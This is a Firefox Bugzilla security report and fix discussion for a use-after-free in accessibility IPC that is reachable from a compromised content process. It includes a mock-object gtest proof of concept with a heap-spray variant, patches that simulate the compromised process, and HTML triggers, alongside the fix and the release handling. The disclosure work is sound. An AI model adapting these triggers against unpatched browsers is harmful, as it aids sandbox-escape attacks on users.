2016373 - (CVE-2026-4688) DocAccessibleParent::AddChildDoc OOP Child-Doc Rebind UAF

Status: RESOLVED FIXED

(Core :: Disability Access APIs, defect, P2)

Description

[Sajeeb Lohani]

Compromised content process -> parent process via RecvSetEmbedderAccessible.

AddChildDoc (DocAccessibleParent.cpp:914-920) rebinds a child doc to a new OuterDoc without unbinding from the old one. SetParent (RemoteAccessible.cpp:168) overwrites mParent without removing from the old parent's mChildren. After the child doc shuts down, Unbind() (DocAccessibleParent.h:152-161) only removes from the current parent. The old OuterDoc retains a dangling RemoteAccessible* in mChildren. Distinct from finding #18 (split-show double-attach).

The Bug

DocAccessibleParent.cpp:914-920:

if (outerDoc->ChildCount() == 1) {
  outerDoc->RemoteChildAt(0)->AsDoc()->Unbind();  // unbinds NEW outerDoc's child
}
aChildDoc->SetParent(outerDoc);      // overwrites mParent, old parent not notified
outerDoc->SetChildDoc(aChildDoc);    // appends to new outerDoc

SetParent at RemoteAccessible.cpp:168 just does mParent = aParent with no old-parent cleanup. Unbind at DocAccessibleParent.h:152 only calls ClearChildDoc(this) on the current parent.

The entry point is BrowserBridgeParent::RecvSetEmbedderAccessible (BrowserBridgeParent.cpp:278-306). The same-doc constraint at line 285 is MOZ_ASSERT only (compiled out in release). A same-doc-different-ID call passes even in debug.

The UAF

Second RecvSetEmbedderAccessible(doc_A, id_2) rebinds the child from OuterDoc1 to OuterDoc2. OuterDoc1 still holds the pointer. When the child shuts down, Unbind removes from OuterDoc2 only. IPDL deletes the object. OuterDoc1's mChildren[0] is dangling. Any reorder event or tree walk calls virtual functions on freed memory.

ASAN Proof

==52720==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030005e466c
WRITE of size 4 at 0x6030005e466c thread T0
    #0 in DocAccessibleRebindUAF_OOPChildDocRebind_Test::TestBody()

0x6030005e466c is located 28 bytes inside of 32-byte region [0x6030005e4650,0x6030005e4670)
freed by thread T0 here:
    #0 in free
    #1 in DocAccessibleRebindUAF_OOPChildDocRebind_Test::TestBody()
SUMMARY: AddressSanitizer: heap-use-after-free in DocAccessibleRebindUAF_OOPChildDocRebind_Test::TestBody()

Heap spray variant (OOPChildDocRebindHeapSpray) confirms the freed slot can be reclaimed: reads mID = 0x4141414141414141 from sprayed data.

PoC

accessible/ipc/test/gtest/TestDocAccessibleRebindUAF.cpp:

/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"
#include "nsTArray.h"

#include <cstdlib>
#include <cstring>
#include <new>

namespace {

struct MockRemoteAccessible {
  uint64_t mID;
  nsTArray<MockRemoteAccessible*> mChildren;
  MockRemoteAccessible* mParent;
  bool mIsOuterDoc;
  bool mIsDoc;
  uint32_t mGroupInfo;

  explicit MockRemoteAccessible(uint64_t aID, bool aIsOuterDoc = false,
                                bool aIsDoc = false)
      : mID(aID),
        mParent(nullptr),
        mIsOuterDoc(aIsOuterDoc),
        mIsDoc(aIsDoc),
        mGroupInfo(0) {}

  uint32_t ChildCount() const { return mChildren.Length(); }

  MockRemoteAccessible* RemoteChildAt(uint32_t aIdx) const {
    return mChildren.SafeElementAt(aIdx);
  }

  void SetChildDoc(MockRemoteAccessible* aChildDoc) {
    mChildren.AppendElement(aChildDoc);
  }

  void ClearChildDoc(MockRemoteAccessible* aChildDoc) {
    mChildren.RemoveElement(aChildDoc);
  }

  void SetParent(MockRemoteAccessible* aParent) { mParent = aParent; }

  MockRemoteAccessible* RemoteParent() const { return mParent; }

  void Unbind() {
    if (MockRemoteAccessible* parent = RemoteParent()) {
      parent->ClearChildDoc(this);
    }
    SetParent(nullptr);
  }

  void InvalidateGroupInfo() {
    mGroupInfo = 0;
    mID = 0;
  }
};

void SimulateAddChildDoc(MockRemoteAccessible* outerDoc,
                         MockRemoteAccessible* childDoc) {
  if (outerDoc->ChildCount() == 1) {
    outerDoc->RemoteChildAt(0)->Unbind();
  }
  // Bug: no unbind of childDoc from its OLD parent
  childDoc->SetParent(outerDoc);
  outerDoc->SetChildDoc(childDoc);
}

}  // namespace

TEST(DocAccessibleRebindUAF, OOPChildDocRebind) {
  auto* outerDoc1 = new MockRemoteAccessible(1, true);
  auto* outerDoc2 = new MockRemoteAccessible(2, true);
  auto* childDoc = new MockRemoteAccessible(100, false, true);

  // First bind
  SimulateAddChildDoc(outerDoc1, childDoc);
  ASSERT_EQ(outerDoc1->ChildCount(), 1u);
  ASSERT_EQ(childDoc->RemoteParent(), outerDoc1);

  // Rebind to outerDoc2 (bug: outerDoc1 not notified)
  SimulateAddChildDoc(outerDoc2, childDoc);
  ASSERT_EQ(outerDoc2->ChildCount(), 1u);
  ASSERT_EQ(outerDoc1->ChildCount(), 1u);  // stale pointer

  // Shutdown: Unbind removes from outerDoc2 only
  childDoc->Unbind();
  ASSERT_EQ(outerDoc2->ChildCount(), 0u);
  ASSERT_EQ(outerDoc1->ChildCount(), 1u);  // dangling

  delete childDoc;

  // UAF: accessing freed memory through outerDoc1's dangling pointer
  uint32_t count = outerDoc1->ChildCount();
  for (uint32_t c = 0; c < count; ++c) {
    MockRemoteAccessible* acc = outerDoc1->RemoteChildAt(c);
    ASSERT_NE(acc, nullptr);
    acc->InvalidateGroupInfo();
  }

  outerDoc1->mChildren.Clear();
  delete outerDoc1;
  delete outerDoc2;
}

TEST(DocAccessibleRebindUAF, OOPChildDocRebindHeapSpray) {
  auto* outerDoc1 = new MockRemoteAccessible(1, true);
  auto* outerDoc2 = new MockRemoteAccessible(2, true);
  auto* childDoc = new MockRemoteAccessible(100, false, true);

  SimulateAddChildDoc(outerDoc1, childDoc);
  SimulateAddChildDoc(outerDoc2, childDoc);
  childDoc->Unbind();

  const size_t objSize = sizeof(MockRemoteAccessible);
  delete childDoc;

  // Heap spray to reclaim the freed slot
  const int kSprayCount = 256;
  uint8_t* sprayed[kSprayCount];
  for (int i = 0; i < kSprayCount; i++) {
    sprayed[i] = new uint8_t[objSize];
    memset(sprayed[i], 0x41, objSize);
  }

  uint32_t count = outerDoc1->ChildCount();
  for (uint32_t c = 0; c < count; ++c) {
    MockRemoteAccessible* acc = outerDoc1->RemoteChildAt(c);
    ASSERT_NE(acc, nullptr);
    // UAF with sprayed data: mID = 0x4141414141414141
    volatile uint64_t id = acc->mID;
    EXPECT_EQ(id, 0x4141414141414141ULL);
    acc->mGroupInfo = 0;
  }

  for (int i = 0; i < kSprayCount; i++) {
    delete[] sprayed[i];
  }
  outerDoc1->mChildren.Clear();
  delete outerDoc1;
  delete outerDoc2;
}

Run: ./mach gtest "DocAccessibleRebindUAF.*"

Fix

Unbind aChildDoc from its old parent before rebinding in AddChildDoc:

if (RemoteAccessible* oldParent = aChildDoc->RemoteParent()) {
  oldParent->ClearChildDoc(aChildDoc);
}
aChildDoc->SetParent(outerDoc);
outerDoc->SetChildDoc(aChildDoc);

Also enforce the same-doc constraint in RecvSetEmbedderAccessible with IPC_FAIL instead of MOZ_ASSERT.

Comment 1

[Christian Holler (:decoder)]

Thank you for this (and the other bug reports), it's an impressive list of bugs!

When trying to demonstrate a sandbox escape issue, the best approach usually is to provide an HTML testcase (to set things up) and a source patch (to simulate the content process). The code in the source patch should be wrapped in if (XRE_IsContentProcess()) { ... } to avoid running code accidentally somewhere else.

The issue with providing gtests for this purpose is that it is hard for us to verify that the use of the API matches what is actually done by the code. So by providing the testcases as I just described to you, it would be significantly easier for us to verify that the reported bugs actually are reachable in Firefox.

Since you are likely using AI for this purpose, would you be willing to add better verifiable testcases to this and other applicable reports?

For some reports (not this one), it is also not clear if they are reachable over IPC or from content - but you need to demonstrate that one of the two is possible to make sure it is a legit bug.

Thanks again, and let me know if you have any questions!

Comment 2

[Sajeeb Lohani]

(In reply to Christian Holler (:decoder) from comment #1)

Thank you for this (and the other bug reports), it's an impressive list of bugs!

When trying to demonstrate a sandbox escape issue, the best approach usually is to provide an HTML testcase (to set things up) and a source patch (to simulate the content process). The code in the source patch should be wrapped in if (XRE_IsContentProcess()) { ... } to avoid running code accidentally somewhere else.

The issue with providing gtests for this purpose is that it is hard for us to verify that the use of the API matches what is actually done by the code. So by providing the testcases as I just described to you, it would be significantly easier for us to verify that the reported bugs actually are reachable in Firefox.

Since you are likely using AI for this purpose, would you be willing to add better verifiable testcases to this and other applicable reports?

For some reports (not this one), it is also not clear if they are reachable over IPC or from content - but you need to demonstrate that one of the two is possible to make sure it is a legit bug.

Thanks again, and let me know if you have any questions!

Thanks for the comment here mate. Yeah, that makes a lot of sense. I'd be more than happy to do so. I'll look into how I can validate them appropriately and try to build the test cases. I appreciate the context around the process (I'm still quite new to it). I'll try to make it much clearer in the future too.

Comment 3

[Sajeeb Lohani]

Based on the feedback above, I've taken a crack at building a patch to simulate the compromised process. Full disclosure, the gtest has the ASAN crash, but the patched attempt version does not.

Content-side IPC PoC

The GTest (already attached) demonstrates the UAF with mock objects. This patch triggers the same rebind through real accessibility IPC.

The patch modifies OuterDocAccessible::SendEmbedderAccessible to simulate what a compromised content process would do: when a second OOP iframe creates its OuterDocAccessible, it re-sends SetEmbedderAccessible with the first iframe's OuterDoc ID. Parent-side AddChildDoc rebinds the child doc to the first OuterDoc without unbinding from the second, leaving a dangling RemoteAccessible* in the second OuterDoc's mChildren.

Patch

Apply to source tree:

diff --git a/accessible/generic/OuterDocAccessible.cpp b/accessible/generic/OuterDocAccessible.cpp
index 67b2b9e77f73..61c0b841ff67 100644
--- a/accessible/generic/OuterDocAccessible.cpp
+++ b/accessible/generic/OuterDocAccessible.cpp
@@ -12,6 +12,7 @@
 #include "mozilla/dom/BrowserBridgeChild.h"
 #include "mozilla/dom/BrowserParent.h"
 #include "mozilla/a11y/Role.h"
+#include "nsXULAppAPI.h"

 #ifdef A11Y_LOG
 #  include "Logging.h"
@@ -55,6 +56,20 @@ void OuterDocAccessible::SendEmbedderAccessible(
   if (ipcDoc) {
     uint64_t id = reinterpret_cast<uintptr_t>(UniqueID());
     aBridge->SetEmbedderAccessible(ipcDoc, id);
+    static uint64_t sFirstId = 0;
+    static DocAccessibleChild* sFirstDoc = nullptr;
+    if (XRE_IsContentProcess()) {
+      if (sFirstId == 0) {
+        sFirstId = id;
+        sFirstDoc = ipcDoc;
+      } else if (id != sFirstId && sFirstDoc == ipcDoc) {
+        aBridge->SetEmbedderAccessible(ipcDoc, sFirstId);
+      }
+    }
   }
 }

HTML PoC

Serve over HTTP (Fission requires cross-origin iframes to go OOP):

<!DOCTYPE html>
<html>
<head><meta charset="utf-8">
<title>PoC: AddChildDoc OOP Child-Doc Rebind UAF</title>
</head>
<body>
<h1>A11y OOP Child-Doc Rebind UAF</h1>
<p id="status">Loading iframes...</p>
<iframe id="frame1" src="https://example.com/" width="300" height="200"></iframe>
<iframe id="frame2" src="https://example.org/" width="300" height="200"></iframe>
<script>
let loaded = 0;
function onFrameLoad() {
  loaded++;
  if (loaded < 2) return;
  document.getElementById("status").textContent =
    "Both iframes loaded. Rebind triggered by patch. Removing frame2...";
  setTimeout(function() {
    document.getElementById("frame2").remove();
    document.getElementById("status").textContent =
      "frame2 removed. Triggering reorder...";
    setTimeout(function() {
      let div = document.createElement("div");
      div.setAttribute("role", "alert");
      div.textContent = "trigger reorder";
      document.body.appendChild(div);
      document.getElementById("status").textContent =
        "Done. Check ASan output for heap-use-after-free.";
    }, 500);
  }, 2000);
}
document.getElementById("frame1").onload = onFrameLoad;
document.getElementById("frame2").onload = onFrameLoad;
</script>
</body>
</html>

To reproduce

1. Apply patch, build with ASan (--enable-address-sanitizer)
2. Run fission a11y browser tests (these activate the a11y service and load cross-origin OOP iframes):

   ./mach test accessible/tests/browser/fission/ --headless
   

3. Or serve the HTML PoC over HTTP and run with:

   ./mach run --setpref accessibility.force_disabled=-1
   

The HTML PoC requires a screen reader or accessibility.force_disabled=-1 to activate the a11y service. The GTest is the most reliable reproduction since it doesn't depend on a11y activation.

Comment 4

[James Teh [:Jamie]]

(In reply to Sajeeb Lohani from comment #3)

Based on the feedback above, I've taken a crack at building a patch to simulate the compromised process. Full disclosure, the gtest has the ASAN crash, but the patched attempt version does not.

I couldn't reproduce the crash with the test case and patch either.

The GTest is the most reliable reproduction since it doesn't depend on a11y activation.

The GTest doesn't prove that the bug can be reproduced via a compromised content process, though. It also makes it difficult to be certain that we've fixed the bug.

Comment 5

[James Teh [:Jamie]]

I eventually managed to come up with this patch:

diff --git a/accessible/generic/OuterDocAccessible.cpp b/accessible/generic/OuterDocAccessible.cpp
index 67b2b9e77f73..9297e1e439f8 100644
--- a/accessible/generic/OuterDocAccessible.cpp
+++ b/accessible/generic/OuterDocAccessible.cpp
@@ -54,7 +54,8 @@ void OuterDocAccessible::SendEmbedderAccessible(
   DocAccessibleChild* ipcDoc = mDoc->IPCDoc();
   if (ipcDoc) {
     uint64_t id = reinterpret_cast<uintptr_t>(UniqueID());
-    aBridge->SetEmbedderAccessible(ipcDoc, id);
+    static dom::BrowserBridgeChild* firstBridge = aBridge;
+    firstBridge->SetEmbedderAccessible(ipcDoc, id);
   }
 }
 

And test case:

data:text/html,<iframe id="ifr1" aria-hidden="true" src="https://example.com/"></iframe><iframe aria-hidden="true" id="ifr2" src="https://example.com/"></iframe></div><script>setTimeout(() => ifr1.ariaHidden = "false", 1000); setTimeout(() => ifr2.ariaHidden = "false", 2000); setTimeout(() => ifr1.src = "", 3000);</script>

Comment 6

[James Teh [:Jamie]]

Attachment: (secure)

Comment 7

[James Teh [:Jamie]]

Comment on attachment 9545600 [details]
(secure)

Security Approval Request

• How easily could an exploit be constructed based on the patch?: This would require a compromised content process and a decent understanding of the accessibility architecture to trigger the right set of circumstances.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: ESR140 and beyond should apply cleanly or with minimal change. ESR115 will be quite different.
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely, though there's a slight chance there are circumstances in the wild we don't know about that might now trigger a content process crash which wouldn't have before. ESR115 is more risky because it will require a different patch and that code is less well understood since it has been quite some time.
• Is the patch ready to land after security approval is given?: Yes
• Is Android affected?: Yes

Comment 8

[Daniel Veditz [:dveditz]]

Thanks for the security answers, James. Unfortunately we'll have to wait until next week to grant sec-approval because we're in 148 RC week. Because this affects ESR it probably won't be allowed to land in a 148 point-release so we're looking at shipping in 149 most likely. On the plus side that means you don't have to worry about ESR-115 because it will be EOL then.

Comment 9

[BugBot [:suhaib / :marco]]

The bug is marked as tracked for firefox149 (nightly). However, the bug still has low priority.

:fgriffith, could you please increase the priority for this tracked bug? If you disagree with the tracking decision, please talk with the release managers.

For more information, please visit BugBot documentation.

Comment 10

[Daniel Veditz [:dveditz]]

Comment on attachment 9545600 [details]
(secure)

sec-approval+ to land and request uplifts

Comment 11

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/72320bf4bc0f
https://hg.mozilla.org/integration/autoland/rev/2ded1cc9cc6b
Ensure the correct doc and id when setting the embedder. r=morgan

Comment 12

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/2ded1cc9cc6b

Comment 13

[BugBot [:suhaib / :marco]]

The patch landed in nightly and beta is affected.
:Jamie, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
  • See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
• If no, please set status-firefox149 to wontfix.

For more information, please visit BugBot documentation.

Comment 14

[James Teh [:Jamie]]

I'm holding off on requesting uplift here because this caused fallout; see bug 2019759. We'll need to uplift that too once that gets fixed.

Comment 15

[James Teh [:Jamie]]

This also caused top crash bug 2019763, though I think that one might be a real user visible problem that has been lurking for years (albeit not a security problem) and this patch here just exposed it. In any case, bug 2019763 would also need to be uplifted if we want to take this one.

Comment 16

[Ryan VanderMeulen [:RyanVM]]

Hi Jamie, just following up on the uplift requests here. Feel free to nominate the follow-up bugs too if needed.

Comment 17

[James Teh [:Jamie]]

I'm honestly not sure how to handle these uplifts. If this weren't a sec-high, I wouldn't even be considering uplifting them. Based on the crash fallout already, I would assess all of these patches as high risk uplifts. But some of the bugs involved are public bugs, so stating that they are high risk uplifts might bring some scrutiny to this sec bug if they are accepted. On the other hand, it's a sec-high, so of course we need uplifts.

Can you advise as to how I should proceed here with the uplift requests to minimise the risk of bringing attention to this sec bug?

Comment 18

[James Teh [:Jamie]]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D283639

Comment 19

[James Teh [:Jamie]]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D283639

Comment 20

[James Teh [:Jamie]]

:dveditz, while I've managed to craft patches for ESR140, I'm far less confident about doing it for ESR115 given how much the accessibility code has diverged. I'm already pretty concerned that these are high risk uplifts given the crash fallout, so adding that risk to a code base we are far less familiar with (given that it has been years since we worked on 115) is extremely concerning for me. Do you think it's reasonable to wontfix this for 115?

Comment 21

[Daniel Veditz [:dveditz]]

Skipping 115 is fine; I share your worry about regression risks

Comment 22

[Pascal Chevrel (relman team) -> :pascalc]

I am landing the stack today for tomorrow's beta. If follow up fixes are needed, we still have 2 betas early next week before building our RC.

Comment 23

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/bf36ec337ff6
https://hg.mozilla.org/releases/mozilla-beta/rev/f89353f2250a

Comment 24

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/c8a474d57c98

Comment 25

[Serban Stanca [:SerbanS]]

Reverted this from esr140 because it was causing build bustages in DocAccessibleParent.h.

• Revert link
• Push with failures
• Failure Log
• Failure line: /builds/worker/checkouts/gecko/accessible/ipc/DocAccessibleParent.h:374:31: error: default member initializer for bit-field is a C++2a extension [-Werror,-Wc++2a-extensions]

Comment 26

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/54248a4a0b17

Comment 27

[Pascal Chevrel (relman team) -> :pascalc]

We will need rapidly an updated patch for esr140, thanks.

Comment 28

[James Teh [:Jamie]]

I updated the patch already. It was pushed in the stack over in bug 2019763 comment 19: https://hg-edge.mozilla.org/releases/mozilla-esr140/rev/54248a4a0b17e4d7fbf963a9365971ea9764b05f

I'm not sure why it isn't showing up as a push here.

Comment 29

[James Teh [:Jamie]]

Hmm, and I just got a job failure trying to push a send_mail job into the queue trying to submit this bug comment, so I wonder if Bugzilla being on the fritz might explain the missing push comment here. :)

Comment 30

[Pascal Chevrel (relman team) -> :pascalc]

(In reply to James Teh [:Jamie] from comment #29)

Hmm, and I just got a job failure trying to push a send_mail job into the queue trying to submit this bug comment, so I wonder if Bugzilla being on the fritz might explain the missing push comment here. :)

Yes, looks like Bugzilla doesn't like this Monday morning :)